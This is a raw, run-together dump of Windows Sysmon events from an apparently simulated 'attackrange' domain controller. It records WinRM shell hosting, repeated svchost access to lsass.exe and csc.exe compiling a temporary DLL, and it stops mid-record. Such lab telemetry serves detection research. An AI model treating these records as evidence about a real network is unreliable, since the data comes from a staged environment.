09:10:54.241{A5F018FF-291E-5F80-CF00-000000007F01}4888C:\Windows\System32\winrshost.exe10.0.14393.0 (rs1_release.160715-1616)Host Process for WinRM's Remote Shell pluginMicrosoft® Windows® Operating SystemMicrosoft Corporationwinrshost.exeC:\Windows\system32\WinrsHost.exe -EmbeddingC:\Windows\system32\ATTACKRANGE\Administrator{A5F018FF-291E-5F80-E5A3-070000000000}0x7a3e50HighMD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96{A5F018FF-28BE-5F80-0C00-000000007F01}604C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch 10341000x80000000000000004060Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.235{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004059Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.235{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004058Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.235{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004057Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.141{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004056Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.141{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004055Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.141{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004054Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.141{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004053Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.141{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004052Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.141{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000004249Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:55.922{A5F018FF-291F-5F80-DA00-000000007F01}4668C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeC:\Users\Administrator\AppData\Local\Temp\02admnpx\02admnpx.dll2020-10-09 09:10:55.860 10341000x80000000000000004248Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.922{A5F018FF-291E-5F80-D000-000000007F01}4940916C:\Windows\system32\conhost.exe{A5F018FF-291F-5F80-DB00-000000007F01}4844C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004247Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.922{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004246Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.922{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004245Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.922{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004244Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.922{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004243Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.922{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004242Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.922{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004241Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.922{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004240Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.922{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004239Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.922{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-291F-5F80-DB00-000000007F01}4844C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004238Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.922{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004237Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.922{A5F018FF-291F-5F80-DA00-000000007F01}46684748C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe{A5F018FF-291F-5F80-DB00-000000007F01}4844C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+b181|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3d58|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3ed0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3fa6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+274e|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+27a0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+28e4|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+7e38f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+45d22|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+448ef|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+445e6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+44303|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+18321|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+17b76|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+9e0d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+1edf02|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004236Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.929{A5F018FF-291F-5F80-DB00-000000007F01}4844C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe12.00.52519.0 built by: VSWINSERVICINGMicrosoft® Resource File To COFF Object Conversion UtilityMicrosoft® .NET FrameworkMicrosoft CorporationCVTRES.EXEC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES9507.tmp" "c:\Users\Administrator\AppData\Local\Temp\02admnpx\CSC6567D27F524745A7BFCED7E93B065AA.TMP"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-291E-5F80-E5A3-070000000000}0x7a3e50HighMD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF{A5F018FF-291F-5F80-DA00-000000007F01}4668C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\02admnpx\02admnpx.cmdline" 10341000x80000000000000004235Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:55.860{A5F018FF-291E-5F80-D000-000000007F01}4940916C:\Windows\system32\conhost.exe{A5F018FF-291F-5F80-DA00-000000007F01}4668C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004234Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 